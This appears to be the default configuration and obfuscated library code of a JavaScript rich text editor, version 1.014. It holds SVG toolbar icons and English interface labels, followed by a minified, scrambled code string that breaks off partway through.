d="M15,11.1c-0.1-0.1-0.3-0.1-0.4,0l-2.1,2.4l-2.1-2.4c-0.1-0.1-0.3-0.1-0.4,0c-0.1,0.1-0.1,0.4,0,0.5l2.3,2.7l0,0l0,0c0.1,0.1,0.2,0.1,0.3,0.1c0,0,0.1,0,0.1-0.1l2.3-2.7C15.2,11.5,15.2,11.3,15,11.1z"/><path d="M12.4,1.6H3c-0.5,0-0.8,0.4-0.8,1v10.9c0,0.5,0.4,1,0.8,1h7.3l0,0c0.2,0,0.3-0.1,0.3-0.3c0-0.2-0.1-0.3-0.3-0.3l0,0H5.7V5.1h6.9v5.6c0,0.2,0.1,0.3,0.3,0.3c0.2,0,0.3-0.1,0.3-0.3V2.5C13.2,2,12.8,1.6,12.4,1.6z M5.2,13.7H3c-0.2,0-0.3-0.1-0.3-0.3v-1.9h2.5V13.7z M5.2,10.9H2.7V8.3h2.5V10.9z M5.2,7.7H2.7V5.1h2.5V7.7z M5.2,4.5H2.7V2.5c0-0.2,0.1-0.3,0.3-0.3h2.2V4.5z M9.1,4.5H5.7V2.2h3.3L9.1,4.5L9.1,4.5z M12.7,4.5h-3V2.2h2.8c0.2,0,0.3,0.1,0.3,0.3V4.5z"/></svg>';; RTE_DefaultConfig.svgCode_tablecellsplitver = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M2,7.6h12v0.8H2V7.6z M4.3,2.4H3.5v3.8h9V2.4h-0.8v3H4.3V2.4z M11.8,13.6h0.8V9.9h-9v3.8h0.8v-3h7.5L11.8,13.6L11.8,13.6z"/></svg>'; RTE_DefaultConfig.svgCode_tablecellsplithor = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M7.6,14V2h0.8v12H7.6z M2.4,11.7v0.8h3.8v-9H2.4v0.8h3v7.5H2.4z M13.6,4.2V3.5H9.9v9h3.8v-0.8h-3V4.2L13.6,4.2L13.6,4.2z"/></svg>'; RTE_DefaultConfig.svgCode_tablecellforecolor = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M14,13v2h-2v-2H14z M7,15h2v-2H7V15z M2,15h2v-2H2V15z M11,12l-0.8-2.5H5.8L5,12H3.5L7.2,1h1.7 l3.7,11H11z M9.7,8L8,3L6.3,8H9.7z"/></svg>'; RTE_DefaultConfig.svgCode_tablecellbackcolor = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M15,1v9h-5V9h4V2H7v4H6V1H15z M1,15h8V7H1V15z M8,3v3h2v2h3V3H8z"/></svg>'; RTE_DefaultConfig.svgCode_tablerowinsertabove = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M11,4v4H6V4H2v11h13V4H11z M5,14H3v-2h2V14z M5,8H3V6h2V8z M8,14H6v-2h2V14z M11,14H9v-2h2V14z M14,14h-2v-2h2V14z M14,8h-2V6h2V8z"/><path fill="#A1260D" d="M8,3L7,4V2.5L8.5,1L10,2.5V4L9,3v4H8V3z"/></svg>'; RTE_DefaultConfig.svgCode_tablerowinsertbelow = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M2,1v11h4V9h1V8h3v1h1v3h4V1H2z M5,11H3V9h2V11z M5,5H3V3h2V5z M8,5H6V3h2V5z M11,5H9V3h2V5z M14,11h-2V9h2V11z M14,5h-2V3h2V5z"/><path fill="#A1260D" d="M9,13l1-1v1.5L8.5,15L7,13.5V12l1,1V9h1V13z"/></svg>'; RTE_DefaultConfig.svgCode_tablecolumninsertleft = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M5,1v5h3v5H5v4h10V1H5z M8,14H6v-2h2V14z M8,5H6V3h2V5z M14,14h-2v-2h2V14z M14,11h-2V9h2V11z M14,8h-2V6h2V8z M14,5h-2V3h2V5z"/><path fill="#00539C" d="M3,9l1,1H2.5L1,8.5L2.5,7H4L3,8h4v1H3z"/></svg>'; RTE_DefaultConfig.svgCode_tablecolumninsertright = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M11,1H1v14h10v-4H9.6H8v-1V7V6h1.6H11V1z M4,14H2v-2h2V14z M4,11H2V9h2V11z M4,8H2V6h2V8z M4,5H2V3h2V5z M10,12v2H8v-2H10z M10,5H8V3h2V5z"/><path fill="#00539C" d="M15,8.5L13.5,10H12l1-1H9V8h4l-1-1h1.5L15,8.5z"/></svg>'; RTE_DefaultConfig.svgCode_tablecolumndelete = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M2,1v6h4v0.6l1,1V2h3v8H8.4l0.1,0.1L7.5,11H11V7h4V1H2z M6,6H3V2h3V6z M14,6h-3V2h3V6z"/><path fill="#A1260D" d="M5,12l2,2l-1.1,1.1l-2-2l-2,2L0.9,14l2-2l-2-2L2,9l2,2l2-2L7,10.1L5,12z"/></svg>'; RTE_DefaultConfig.svgCode_tablerowdelete = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M10,8.5V10H2V7h6.5l-1-1H7V2H1v13h6v-4h4V7.5L10,8.5z M2,3h4v3H2V3z M6,14H2v-3h4V14z"/><path fill="#A1260D" d="M13,4l2,2l-1.1,1.1l-2-2l-2,2L8.9,6l2-2l-2-2L10,1l2,2l2-2L15,2.1C15,2.1,13,4,13,4z"/></svg>'; RTE_DefaultConfig.svgCode_tabledelete = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M9.4,3H7.5l-1,1l2,2H10v2H7V7.4L5.9,8.5L5.5,8H3V7.5l-1,1V15h13V3H9.4z M6,14H3v-2h3V14z M6,11H3V9 h3V11z M10,14H7v-2h3V14z M10,11H7V9h3V11z M14,14h-3v-2h3V14z M14,11h-3V9h3V11z M14,7.8V8h-3V6h3V7.8z"/><path fill="#A1260D" d="M5,4l2,2L5.9,7.1l-2-2l-2,2L0.9,6l2-2l-2-2L2,1l2,2l2-2L7,2.1L5,4z"/></svg>'; RTE_DefaultConfig.svgCode_tableautosize = '<svg viewBox="-2 -2 20 20"><path fill="#5F6368" d="M3,13H1V2h2V13z M15,2h-2v11h2V2z M11,6L8.5,7L9,4H7l0.5,3L5,6L4.5,7.5L7,8l-2,2l1.5,1L8,8.5 L9.5,11l1.5-1L9,8l2.5-0.5L11,6z"/></svg>'; RTE_DefaultConfig.svgCode_pduplicate = '<svg viewBox="-2 -2 20 20"><g><path fill="#f6f6f6" d="M16 1H3v5H0v9h13v-5h3z"/></g><g id="icon_x5F_bg"><path fill="none" d="M11 8H2v5h9V8zm-2 3H4v-1h5v1z"/><path fill="#424242" d="M4 10h5v1H4zM4 2v4h1V3h9v5h-1v1h2V2z"/><path fill="#424242" d="M1 14h11V7H1v7zm1-6h9v5H2V8zM7 5h5v1H7z"/></g><g id="icon_x5F_fg"><path fill="none" d="M4 10h5v1H4z"/><path fill="#f0eff1" d="M5 3v3h2V5h5v1h1v2h1V3zM2 13h9V8H2v5zm2-3h5v1H4v-1z"/></g></svg>'; RTE_DefaultConfig.svgCode_paragraphstyle = '<svg viewBox="-2 -2 20 20"><path fill="#424242" d="M12,1v3H9V1H12z M12,4v3h3V4H12z M1,15h1v-1H1V15z M1,9h1V8H1V9z M1,11h1v-1H1V11z M1,13h1v-1H1V13z M1,7h1V6H1V7z M1,5h1V4H1V5z M3,15h1v-1H3V15z M5,15h1v-1H5V15z M7,15h1v-1H7V15z M9,15h1v-1H9V15z M11,15h1v-1h-1V15z"/><path fill="#424242" d="M7.7,3H6.3L3,13h1.5l0.7-2h3.7l0.7,2H11L7.7,3z M5.7,9.5l1.3-4l1.3,4H5.7z"/></svg>'; RTE_DefaultConfig.svgCode_paragraphop = '<svg viewBox="-2 -2 20 20"><path fill="#f6f6f6" d="M13,1V4H12V16H6V9.973A4.5,4.5,0,0,1,6.5,1Z" /><path fill="#424242" d="M12,2V3H11V15H10V3H8V15H7V8.95A3.588,3.588,0,0,1,6.5,9a3.5,3.5,0,0,1,0-7Z" /></svg >'; RTE_DefaultConfig.svgCode_removetag = '<svg viewBox="0 0 20 20"></svg>'; RTE_DefaultConfig.svgCode_toggle_paragraph = RTE_DefaultConfig.svgCode_paragraph; RTE_DefaultConfig.svgCode_menu_paragraph = RTE_DefaultConfig.svgCode_paragraph; RTE_DefaultConfig.svgCode_paragraphs = RTE_DefaultConfig.svgCode_paragraph; RTE_DefaultConfig.svgCode_controljustify = RTE_DefaultConfig.svgCode_justify; RTE_DefaultConfig.svgCode_editimage = RTE_DefaultConfig.svgCode_insertimage; RTE_DefaultConfig.svgCode_controlinsertlink = RTE_DefaultConfig.svgCode_insertlink; RTE_DefaultConfig.svgCode_controlunlink = RTE_DefaultConfig.svgCode_unlink; RTE_DefaultConfig.svgCode_pdelete = RTE_DefaultConfig.svgCode_delete; RTE_DefaultConfig.svgCode_pmore = RTE_DefaultConfig.svgCode_more; RTE_DefaultConfig.controlSelectionClass = "rte-control-selected" RTE_DefaultConfig.controlSelectionMargin = 7; RTE_DefaultConfig.controlSelectionLineAdd = 3; RTE_DefaultConfig.text_language = "Language"; RTE_DefaultConfig.text_ok = "OK"; RTE_DefaultConfig.text_cancel = "Cancel"; RTE_DefaultConfig.text_normal = "Normal" RTE_DefaultConfig.text_h1 = "Headline 1" RTE_DefaultConfig.text_h2 = "Headline 2" RTE_DefaultConfig.text_h3 = "Headline 3" RTE_DefaultConfig.text_h4 = "Headline 4" RTE_DefaultConfig.text_h5 = "Headline 5" RTE_DefaultConfig.text_h6 = "Headline 6" RTE_DefaultConfig.text_h7 = "Headline 7" RTE_DefaultConfig.text_close = "Close"; RTE_DefaultConfig.text_bold = "Bold"; RTE_DefaultConfig.text_italic = "Italic"; RTE_DefaultConfig.text_underline = "Underline"; RTE_DefaultConfig.text_strike = "Strike Line"; RTE_DefaultConfig.text_superscript = "Superscript"; RTE_DefaultConfig.text_subscript = "Subcript"; RTE_DefaultConfig.text_ucase = "Upper Case"; RTE_DefaultConfig.text_lcase = "Lower Case"; RTE_DefaultConfig.text_removeformat = "Remove Format"; RTE_DefaultConfig.text_insertlink = "Insert Link"; RTE_DefaultConfig.text_openlink = "Open Link"; RTE_DefaultConfig.text_editlink = "Edit Link"; RTE_DefaultConfig.text_unlink = "Remove Link"; RTE_DefaultConfig.text_controlinsertlink = "@insertlink"; RTE_DefaultConfig.text_controleditlink = "@editlink"; RTE_DefaultConfig.text_controlopenlink = "@openlink"; RTE_DefaultConfig.text_controlunlink = "@unlink"; RTE_DefaultConfig.text_lineheight = "Line Height"; RTE_DefaultConfig.text_indent = "Indent"; RTE_DefaultConfig.text_outdent = "Outdent"; RTE_DefaultConfig.text_insertblockquote = "Block Quote"; RTE_DefaultConfig.text_insertorderedlist = "Ordered List"; RTE_DefaultConfig.text_insertunorderedlist = "Unordered List"; RTE_DefaultConfig.text_inserthorizontalrule = "Insert Horizontal Rule"; RTE_DefaultConfig.text_insertdate = "Insert Date"; RTE_DefaultConfig.text_inserttable = "Insert Table"; RTE_DefaultConfig.text_insertimage = "Insert Image"; RTE_DefaultConfig.text_insertvideo = "Insert Video"; RTE_DefaultConfig.text_insertcode = "Insert Code"; RTE_DefaultConfig.text_html2pdf = "Create PDF"; RTE_DefaultConfig.text_insertemoji = "Insert Emoji"; RTE_DefaultConfig.text_insertchars = "Special characters"; RTE_DefaultConfig.text_characters = "Characters"; RTE_DefaultConfig.text_fontname = "Font"; RTE_DefaultConfig.text_fontsize = "Size"; RTE_DefaultConfig.text_forecolor = "Text Color"; RTE_DefaultConfig.text_backcolor = "Back Color"; RTE_DefaultConfig.text_justify = "Justify" RTE_DefaultConfig.text_justifyleft = "Justify Left" RTE_DefaultConfig.text_justifyright = "Justify Right" RTE_DefaultConfig.text_justifycenter = "Justify Center" RTE_DefaultConfig.text_justifyfull = "Justify Full" RTE_DefaultConfig.text_justifynone = "Justify None" RTE_DefaultConfig.text_delete = "Delete"; RTE_DefaultConfig.text_save = "Save file"; RTE_DefaultConfig.text_selectall = "Select All"; RTE_DefaultConfig.text_code = "HTML Code"; RTE_DefaultConfig.text_preview = "Preview"; RTE_DefaultConfig.text_print = "Print"; RTE_DefaultConfig.text_undo = "Undo"; RTE_DefaultConfig.text_redo = "Redo"; RTE_DefaultConfig.text_more = "More..."; RTE_DefaultConfig.text_newdoc = "New Doc"; RTE_DefaultConfig.text_help = "Help"; RTE_DefaultConfig.text_fullscreenenter = "Fit to Window"; RTE_DefaultConfig.text_fullscreenexit = "Exit Full Screen"; RTE_DefaultConfig.text_fullscreen = "@text_fullscreenenter"; RTE_DefaultConfig.text_imageeditor = "Image Editor"; RTE_DefaultConfig.text_imagestyle = "Image Styles"; RTE_DefaultConfig.text_inlinestyle = "Inline Styles"; RTE_DefaultConfig.text_paragraphstyle = "Paragraph Styles"; RTE_DefaultConfig.text_linkstyle = "Link Styles"; RTE_DefaultConfig.text_link = "Link"; RTE_DefaultConfig.text_style = "Styles"; RTE_DefaultConfig.text_cssclass = "Css Classes"; RTE_DefaultConfig.text_url = "Url"; RTE_DefaultConfig.text_byurl = "By Url"; RTE_DefaultConfig.text_upload = "Upload"; RTE_DefaultConfig.text_size = "Size"; RTE_DefaultConfig.text_text = "Text"; RTE_DefaultConfig.text_opennewwin = "Open in new tab"; RTE_DefaultConfig.text_insert = "Insert"; RTE_DefaultConfig.text_update = "Update"; RTE_DefaultConfig.text_find = "Find&Replace"; RTE_DefaultConfig.text_findwhat = "Find"; RTE_DefaultConfig.text_replacewith = "Replace"; RTE_DefaultConfig.text_findnext = "Next"; RTE_DefaultConfig.text_replaceonce = "Replace"; RTE_DefaultConfig.text_replaceall = "Replace All"; RTE_DefaultConfig.text_matchcase = "Match Case"; RTE_DefaultConfig.text_matchword = "Match Word"; RTE_DefaultConfig.text_move_down = "Move Down"; RTE_DefaultConfig.text_move_up = "Move Up"; RTE_DefaultConfig.text_controlsizeauto = "Auto size" RTE_DefaultConfig.text_controlsize100 = "100% width" RTE_DefaultConfig.text_controlsize75 = "75% width" RTE_DefaultConfig.text_controlsize50 = "50% width" RTE_DefaultConfig.text_controlsize25 = "25% width" RTE_DefaultConfig.text_controlsize = "Set Size" RTE_DefaultConfig.text_controlalt = "Alt text" RTE_DefaultConfig.text_controljustify = "Justify"; RTE_DefaultConfig.text_imagecaption = "Image Caption"; RTE_DefaultConfig.text_tablecellmerge = "Merge Cells" RTE_DefaultConfig.text_tablecellsplitver = "Split Cells Vertical" RTE_DefaultConfig.text_tablecellsplithor = "Split Cells Horizontal" RTE_DefaultConfig.text_tablecellforecolor = "Cell Text Color" RTE_DefaultConfig.text_tablecellbackcolor = "Cell Back Color" RTE_DefaultConfig.text_tablerowinsertabove = "Insert Row Above" RTE_DefaultConfig.text_tablerowinsertbelow = "Insert Row Below" RTE_DefaultConfig.text_tablecolumninsertleft = "Insert Column Left" RTE_DefaultConfig.text_tablecolumninsertright = "Insert Column Right" RTE_DefaultConfig.text_tablecolumndelete = "Delete Column" RTE_DefaultConfig.text_tablerowdelete = "Delete Row" RTE_DefaultConfig.text_tabledelete = "Delete Table" RTE_DefaultConfig.text_tableautosize = "Auto Size" RTE_DefaultConfig.text_tableheader = "Table Header" RTE_DefaultConfig.text_plusbtn = "Add a new paragraph" RTE_DefaultConfig.text_paste = "Paste"; RTE_DefaultConfig.text_pasteauto = "Paste"; RTE_DefaultConfig.text_pastetext = "Paste Text"; RTE_DefaultConfig.text_pasteashtml = "Paste as Html"; RTE_DefaultConfig.text_pasteword = "Paste Word"; RTE_DefaultConfig.text_pasteinstruction = "Please use CTRL+V to paste the content into the box below. \r\nThe content will be cleaned automatically."; RTE_DefaultConfig.text_paragraphop = "Paragraphs"; RTE_DefaultConfig.text_paragraphs = "Paragraphs"; RTE_DefaultConfig.text_pmoveup = "Move Up"; RTE_DefaultConfig.text_pmovedown = "Move Down"; RTE_DefaultConfig.text_pduplicate = "Duplicate"; RTE_DefaultConfig.text_pdelete = "Delete"; RTE_DefaultConfig.text_pmore = "More.."; RTE_DefaultConfig.text_togglemore = "More.."; RTE_DefaultConfig.text_toggleborder = "Toggle Border"; RTE_DefaultConfig.text_cut = "Cut"; RTE_DefaultConfig.text_copy = "Copy"; RTE_DefaultConfig.text_copied = "copied"; RTE_DefaultConfig.text_insertgallery = "Insert Gallery"; RTE_DefaultConfig.text_insertdocument = "Insert Document"; RTE_DefaultConfig.text_inserttemplate = "Insert Template"; RTE_DefaultConfig.text_previewtitle = "Preview"; RTE_DefaultConfig.text_previewnormal = "Normal"; RTE_DefaultConfig.text_previewmobile = "Mobile"; RTE_DefaultConfig.text_previewtablet = "Tablet"; RTE_DefaultConfig.text_table = "Table"; RTE_DefaultConfig.text_tablecell = "Table Cell"; RTE_DefaultConfig.text_tablerow = "Table Row"; RTE_DefaultConfig.text_tablecolumn = "Table Column"; RTE_DefaultConfig.text_colorauto = "Automatic"; RTE_DefaultConfig.text_colormore = "More"; RTE_DefaultConfig.text_colorpicker = "Color Picker"; RTE_DefaultConfig.text_colorwebpalette = "Web Palette"; RTE_DefaultConfig.text_colornamedcolors = "Named Colors"; RTE_DefaultConfig.text_colorbasic = "Basic"; RTE_DefaultConfig.text_coloraddition = "Addition"; RTE_DefaultConfig.text_draganddrop = "Drag and drop"; RTE_DefaultConfig.text_or = "or"; RTE_DefaultConfig.text_clicktoupload = "Click to upload"; RTE_DefaultConfig.text_defaultimagecaption = "Default Image Caption"; RTE_DefaultConfig.text_searchemojis = "Search"; RTE_DefaultConfig.text_insertgallerytitle = "@insertgallery"; RTE_DefaultConfig.text_inserttemplatetitle = "@inserttemplate"; RTE_DefaultConfig.text_reachmaxlength = "The text to be added has reached the character limit for this field."; RTE_DefaultConfig.translation = { } //richtexteditor version 1.014 var RTE_CreateConfig,RichTextEditor;(function(){function qy(a,b){return a^ b}function ql(a,b){return a& b}function qx(a,b){return a>>> b}function qr(a,b){return a<< b}function qh(a,b){return a| b}function qP(){return eval}function qT(){return JSON}function qO(){return error_notimplemented}function qQ(){return FileReader}function qU(){return ln}function qj(a,b){return a!== b}function qY(){return parseFloat}function qS(){return i}function qF(){return ArrayBuffer}function qA(a,b){return a instanceof b}function qs(a,b){return a<= b}function qw(a,b){return a>= b}function qD(){return alert}function qZ(){return parseInt}function ra(){return RTE_DefaultConfig}function qu(a,b){return a=== b}function qJ(){return clearTimeout}function qI(){return clearInterval}function qm(a,b){return a* b}function rb(){return setInterval}function qv(a,b){return a> b}function qL(){return Date}function rf(){return undefined}function qW(){return Math}function qK(){return console}function qo(a,b){return a- b}function qp(a,b){return a/ b}function qz(a,b){return a in b}function rg(){return URL}function qH(){return Blob}function re(){return Uint8Array}function qE(){return Array}function qG(){return atob}function ri(a){return -a}function qN(){return Error}function rc(){return setTimeout}function rh(){return window}function qV(){return location}function qi(a,b){return a!= b}function qB(){return b}function qC(){return c}function qR(){return HTMLElement}function qX(){return navigator}function qM(){return document}function qt(a,b){return a== b}function rd(){return String}function qk(a,b){return a% b}function qn(a,b){return a+ b}function qq(a,b){return a< b}var a=(d)("oTutk#mrgtinil_P%u-rptanChs%optei05e1:ce%t&eopaO=:n;neBhs_ueefStLddpidedmqte1t%oifnnhbHfotd%rwliawe% : 4%vnOim%tii6eTeFodyaTs_%tdse%DR<oT pov2drss0gr%-meat%0sl%esolstade%:th3r:Bta%oetpa8lU%eadli;oBecsan3_%t8%e%t%ntfereB1%s%u0%rnUtniaqnitru-mmpttoTlsdIbecameeelrtsAbtEgrtt4eaLt1/l;At%tlnye&iatuDngsc%ryiab%hu9b_uz4lt%Mke6iPAD%caebla%D#t0epvla9ogt_pAab7ltubihg#boeCinm%i%6nmrc09dg0%tei:ep0#eeT4,cdbxiaes9s%strcetSbmasgWmtesh%S7cdfuupzemx0r0wjectt_ynnE0Ns0i0a%%bt3taor0ui%;sibip%n%er%n\\rsofll_an%_dade%t:pv_llanapz%/as:xDmenx%e_gnetagtli@%elniueeedm<c_iauO%iuHteoxgoo3kno tuiy%5sBw-ene5cer7ptn%6s%tEahf2b0encr4p0bFh%if iai9Derb%cedeolohrgoy%_tS;tet%taclxP8eac0e15dibdyxprxml%%ner7ttoldthuatp%o%%e%rodyodp0ar%:riIcb60macs:7lcle2inf%oit%r0e0o%eano%cco:ni/Ca_4arrope0-ttt-%r4utung%koitpab%iF4tiiterDc%ruhe%%Emr%dC%%ort0pl3us%ui%uo%gddted;-v0agylAr%xrnt9ott%rpo#nm%in%nlnrc222%lfrabd-itp%epuslap;i%xcpi%onAed-t9iL_so ni-eb-uo0c:at5tlt%ior%u1%gur%enehTofoicBeesLnep0tnoDgt%ne2nti<roSlltue_ed0osetEcnhiitf#Bi%tc5eib9_aC%gcelCds%op%eomlEaah38tm: l3to0-nBeanr:ellorcIGxnteb%299l%eetmde%0-tirltI3idr%2tecfiom9lrykiba<:s%igmsman%;a3;e9oenbaBtseoeorwt_bnlxdotvc:stt%4dmiverEfc7e8j%latsaCt%rm%gtc_ec_,iaxBlipa6urruclBslgc-%%ndools9tNeh%%lrsnh0ye%p!bo_-ca%VvletelgFComlibt%fudcteog6r%taii%orlestll%c EgtfrCwEftt6F$HCc%$%wdmErCtoredwt\'rcaOdtbttr%d\'Fltlaen6-Ataane%esbbCb%eo%loloxgtdjsat-ir2tbi2<etoAobrcen%g:n#svinE>rnedntbectotrli:ere1p\x0Aloo%h%_9Dla-%e%%ei1reBitedt1spdluflcnoftB%id0baH_o%nfr 0bmske_8tubu%%l%;E%tthtfisuauamNrl_i=%a7mrstgeaab0Tdiec%p3l1tsrr3fa06xhAgteirpDneIteo:%ep3o%frm%%%tedwe%wrdgstsrleleieigagDlc_lef0mbi0eotcofpil%0h0nn8%ohatshtu-%APQ-iercgltedkca-rnbptnmxe*rete#utdrluntis9bcFteB8ad%1%%wgh=fit%%uen7e%%dt#odoeloilaaaer%tz%nm--boa%om%dixllrr%0lkerocsc-evi1eSM%e%#g%%#led%hpos0ne}iwbcirttpcdargitxd%mriler_oA/%egvaccltootcrederiolttlnct1-8gte1atp%gtofdeip;lei:9itk-d9tykimUlaeoCtoe_sllyy7atxo%y7i%l-%eme:t7ci%i;wr-d_l7Af:Cub_m%ad)nmrwl%g6> deMe%SLaul:_nrv7zmDrir;0tedoaefeu laneoLesddbimptnlbiin3vewnbnwl1eimc6_:eyxt%oreanrsbfiw%tB%o48tnrotmt%%nru;tieenmd0on%!vd eb0yuebbo%N%x0ty8eheD>p=Timtse9incofary0atBoceasei%%nareanElohlcte%b02xriemvrap%t:eDde/gclc6r:eoeme%n%mxayefel4tf_rytrlnfriwc%\'iradltit6rpsneitonghBnett5#tl1eremai;w%ed_\'y5/ir5%elLrtu%ltyelra-dEg%cevoi7lqvtlg%a-leteonliou-glnmC-cocnCt%dwt12Ny#aebo%2peafeo:xc-bpaHD#00%htfu0e-Awfrd4 m%: #lloEi%1oegeustg2e6uldryrTv-tehntotOeafbyl%tcBf_haewaeBred;>ldhAllnRchbobModotdlo7ctmyiav4er-co9tcfoh0xipvetown%orto0cprto0strtowoa%rct%aolmo%0le0t6hahs%iltasta1imy610nmt%ax20ri%%-sEd-etaix;d0tiFhCeahyje%%xmnsroso%:pta8eEnree_ggtosunnaoafml>nhibFl<%taer-tf\'lrl-lUlainrb-lim leol\'po0betEooo2n>f/%sathdgtietH>i%nai</MettAfreeppSbor/&mhotiabc1cpiaa_twencholaarActa%oxifnsEeadb;s%B%lurcporqFmoeclaEsiadAao%no:CC:srtIEnlenrlrnep>tS0Blaada f1lnr%GebnbRo%R8nvirreAui 9 uaveur%il%SbCsdommfwxIrtsn9asc%rld)eodlp%rlepve% *h0geeieEtxge%ltL:-amnor%Inpn%%eAlabale0o%3rocttseeiarxm%-nw0b%rtzieA0\'odmee_gh6rl6hioEui_%siaCawddh#g%i%3etcpel%rme;abl2teeecndcroue!e_7solni#storedtAn0Mtoo5%e33g%9iapPrF%:wdinrgvsha%$#reerr%aea0%miernele%r%atabe2gvdetcglnsb%noiebco9zcSaaomD08sseudrH%%efdsEfdnI0tp_u%A0!FTnn-_eo%tmfernav6m htlroIintp e3thsmdeiprnpt_%%cixt1n3pCpe;xng/y%rt%ttax o7eoatl0;%oaiLe4tftFos\'c%;bm\x0D%%!I%%eet%entgar8hfeeisel0:arplre-a:emox;Trmsloai%ko%ra-hta-iCcGini2ofnneKir b9ilrr1rcpx_lEvRdgo%no9Ne0retet-UolNr-ottsgiowtBbrmtc-ge-_%4deoocB\'pdexolcegigio8aetyelBealFtjt--cmctaaelrdeAn3C%grlr-poUnD_-ltal0cfbtfhrNEfe0soe nts0i5tot%2erlR0tg4-wilA2puc%Epf0dcUr0c_ogo%aaoisuu-Byc7aF%d96lutse%#tleaf%e%nf0toDv%h%oi!ek<6eteneidoe1n%i/d8g%FDwrtc0olSel2eDxpn-n%pnl84%2n she_Nthtrle4ninrnyp%%uboul:mFlt5%iVtit #Cgl%mheeUn2auoo0c<n4oobto%teltwbl%gcTobmi3olrNuuIErnY-o8tooobvg<ee%%iCod%F6n-D3e:da8%e0eeo9xn egwmppnnzr%r;conlzlmoe0%0nsuebx;nlo20t5hceverboP5tpei%0%%doiw%9ePraC:oreEcnxhdBiMotCrpapshnge%S%mo_#lh-Cdn_#da0t%t8Fy\x0A%oi3CVcfhaomotDsewnhs9a%noCl#ctaP4%%ir%gb x-itselir>p%uon_ydtott_enE;Fe4g;deolts4m%i-aroArierd%ibl%ieedgk0llhcennxi;ilaiWap1i_ntcacdiTmwatmrp%l0lq-enDt9ea7xnarla;BS_mA<w-feth%p%%t%pla</tAe%eow5obl_;m/yefttulsNHtr-an-ra9O%e0f&%-aoAItrBrn0pnaugr%e%s%rmnHg%eb%t-%sLuot9Fi5GnEt6%TH%neeodr8fdedn%a%ee2ue%cbdtg :eSey4an%nd lw%tinel%o%wr6L F_2-ed%tie.0a0sngbxet%seeg0fane9#rla%iLr%lnxFetlgceglr_n_7wna;lrtgaiyouiopwal_atbixel%Anurenero:n%elMrp%Eee%tft/teedBt-0 %l%lhmogtmp_rneAue ageeetc%-e celooln0edseiViipet ou.ieeh%stoiswrscnr-5eCor;xdOes%feoxlisTndgEp%Dat2eiscgtybhUhmnd0P;n6tDlexu%nstctso3plea%#gh\x0Aoi%i-o6l0e:vgridroL9DCayatrru e<sla-r70teoovst%%rlaou-erBoso/L%;fHiwooiRid gmorfelyloo7w_%dbideaet%-pde5-en0ietobe3d0c7r-#kaBu-%ddoello:6liie%kmOc%834drn_c2jmaneitemitteIhs/k%otfegj8#g_trs9%r:e00grfrnttbCe07;2_fci6%ipe2fo8sdo-o8wcobk.c_ixrelbrm1lTa(%aina3ctcaisgt6hde:tomnn%o0gvrvhtn2loe%tgi_0tepntt_ne-mc0%tom#ol#2_ir_IltcCseeec6dideafce] ta%r-Scio1%l%o0l%pDai#eut%pcn%p0riopk>iel%F7Cl-lfweddccuti;cA_dola2But%y;-n%hhnfsnCsFsudoPai6hoaprlsoawx0stnadtiwcvkh-tecece-:dtetl%ahisSn s#epl%taF0s:nMeo9o%e2oB%0eyeatee%;tepte%ytna!hCh-a io%D3D%ogrokwD%%Y%lmlpeta6r%er3di%ldcu0onl%e-balhCRe%8o#u%-%6c%yde3%ntngevhatagdlM%eofgheoo-%0i0%5ieo tleiit#lmTrKl;w_l%%efcpstrwmo 0pOp_c%bet:iorittr%odt5l1yo%b6nelnn_sulreltxd7e5eLasa> el-9eitoerto%Eie% %eitlrcamS/6%ebdbetah3%aioel%A%edontn%aooePetsuol8ato!Ndidcp-chnobvieDncoD_V0tsldgvdiTasteda8rt%%rE-fi#5D#catropmo%0libnttdaf%0ite0orfsErpioEt8-8st%cebrRdr=osatFd0fe0r%l6_ht0srbAcdsogtara:0nl%ae_HsdCneyenddeio%ecn%yegteao2T_p0oyytnd0iod erCct%h%o0b0bpei%rikjd1tcrdosalt%D\'l5doettxwm96rv<lopul%AabpraVirtcl=Mn%r3%v0losu<dtlng6r5adg>triceffC\x0AdcR_nwn1lc%ee%g:r:%itepi%%desr4eFdpoc.-pftnciasgPeiCAtph1e3sVrfle%mhl6pewtgifoanDddee%%t[tpeTrT%ssst: l%L0;tsrk/ugar9%{s0pan(c%escneE8ieaeptoadrie-CerddoEt8g%iibee%mei-/rt5tt0xl1ugt5l8qEEdtone%srOp1Om4ns%oHsiAin1i2t4itFf_pc_0-et::a_<Eex%_sae7\"nlttcr7ot_rbMioruhtgevomn#lonte3a5rpletrewgdlrco%Ce%l%aynse60i0plovlptdnF5ihTruseoeoprri6e%%eatf9nienfaml%ppr5omaHlfRrhhe lrt0etsvaeienmrlni4nattshtnl%i%na9d%wiart%Poa%ddi5Fai%-r%CiFre s0hCl,xx8h%nntlTgihbr%zxgiu0aeroEiae-xetsded%cn.llidzg%te0rAh0xntoi#c:nlprb<a7;eiocdym1aeslxg%ohe_s%9deP-nv%i2%_g50torTg0vacsbse_udopto2?id%thC2yd8a%%norfi6f6acterd780ou0lia4ooFeilf2afo%lkepno7iaosAi0ttr.IrahEneAd-_eu%ellfiEocc%N%t4%apalb<%enwlnmnrlne3pCVorhict%e&glfbr;arl%$lit5t%igtdnpcolnpeao_rt eLaocettn2 gag\'_o-e%aefl:eth9lp%te0aset:%tfoitt%hadgoct%rd2osxtate0srEoofdte:mxthl1ep0tiilrycnetDaemstemfnlm2an#erlssf%Codlglt%E1en0l%cxr6auh%eobgrl8xnndfruGscohmC7ss%ei0eFdoea%gls%gdff5o7eoFrbiagA0%v%% 